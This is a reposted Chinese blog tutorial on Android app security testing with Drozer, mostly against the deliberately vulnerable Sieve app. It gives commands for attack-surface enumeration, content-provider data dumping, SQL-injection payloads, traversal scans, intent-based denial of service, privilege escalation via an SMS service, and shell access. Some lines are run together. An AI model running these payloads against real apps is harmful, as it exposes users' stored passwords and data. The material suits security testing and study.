转载自:http://www.cnblogs.com/goodhacker/p/3906180.html

一、安装与启动

1. 安装 

第一步:从http://mwr.to/drozer下载Drozer (Windows Installer) 

第二步:在Android设备中安装agent.apk

adb install agent.apk

2. 启动

第一步:在PC上使用adb进行端口转发,转发到Drozer使用的端口31415

adb forward tcp:31415 tcp:31415

第二步:在Android设备上开启Drozer Agent

选择embedded server-enable

第三步:在PC上开启Drozer console

drozer console connect 

二、测试步骤

1.获取包名

dz> run app.package.list -f sievecom.mwr.example.sieve

2.获取应用的基本信息

run app.package.info -a com.mwr.example.sieve

3.确定攻击面

run app.package.attacksurface com.mwr.example.sieve

4.Activity

1)获取activity信息

run app.activity.info -a com.mwr.example.sieve

2)启动activity

run app.activity.start --component com.mwr.example.sievedz> help app.activity.startusage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY][--component PACKAGE COMPONENT] [--data-uri DATA_URI][--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]][--mimetype MIMETYPE]

5.Content Provider

1)获取Content Provider信息

run app.provider.info -a com.mwr.example.sieve

(2)Content Providers(数据泄露)

先获取所有可以访问的Uri: 

run scanner.provider.finduris -a com.mwr.example.sieve

获取各个Uri的数据:

run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

查询到数据说明存在漏洞

(3)Content ProvidersSQL注入)

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

报错则说明存在SQL注入。

列出所有表:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

获取某个表(如Key)中的数据:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

4)同时检测SQL注入和目录遍历

run scanner.provider.injection -a com.mwr.example.sieverun scanner.provider.traversal -a com.mwr.example.sieve

6 intent组件触发(拒绝服务、权限提升)

利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。

1.查看暴露的广播组件信息:

run app.broadcast.info -a com.package.name  获取broadcast receivers信息run app.broadcast.send --component 包名 --action android.intent.action.XXX

2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):

run app.broadcast.send 通过intent发送broadcast receiver

(1)   空action

run app.broadcast.send --component 包名 ReceiverNamerun app.broadcast.send --component 包名 ReceiverName

(2)   空extras

run app.broadcast.send --action android.intent.action.XXX

3.尝试权限提升

权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:

(1)获取service详情  

run app.service.info -a com.mwr.example.sieve不使用drozer启动serviceam startservice –n 包名/service名

(2)权限提升

run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

7.文件操作

列出指定文件路径里全局可写/可读的文件

run scanner.misc.writablefiles --privileged /data/data/com.sina.weiborun scanner.misc.readablefiles --privileged /data/data/com.sina.weiborun app.broadcast.send --component 包名 --action android.intent.action.XXX

8.其它模块

shell.start 在设备上开启一个交互shelltools.file.upload / tools.file.download 上传/下载文件到设备tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件

更多相关文章

  1. android DecorView的使用
  2. android 自定义 permission 权限
  3. android通过chmod命令实现文件权限修改
  4. 获取Android设备的方向
  5. Android(安卓)拨打电话功能
  6. Android:系统信息(内存、cpu、sd卡、电量、版本)的获取
  7. Android获取点击屏幕的位置坐标
  8. android APP 获得system权限
  9. android 权限定义的文件,位置

随机推荐

  1. Android(安卓)OpenGL之生成FloatBuffer
  2. 【Android】 dialog 设置maxHeight 最大
  3. android获取versionName和versionCode
  4. Android读取XML文件(DOM)
  5. Android实现录制视频
  6. android 基础知识
  7. Android(安卓)EdtiText 添加表情
  8. Android(安卓)Handler不同界面发送数据
  9. Android(安卓)常用工具类封装
  10. android 开发实例底部导航(1)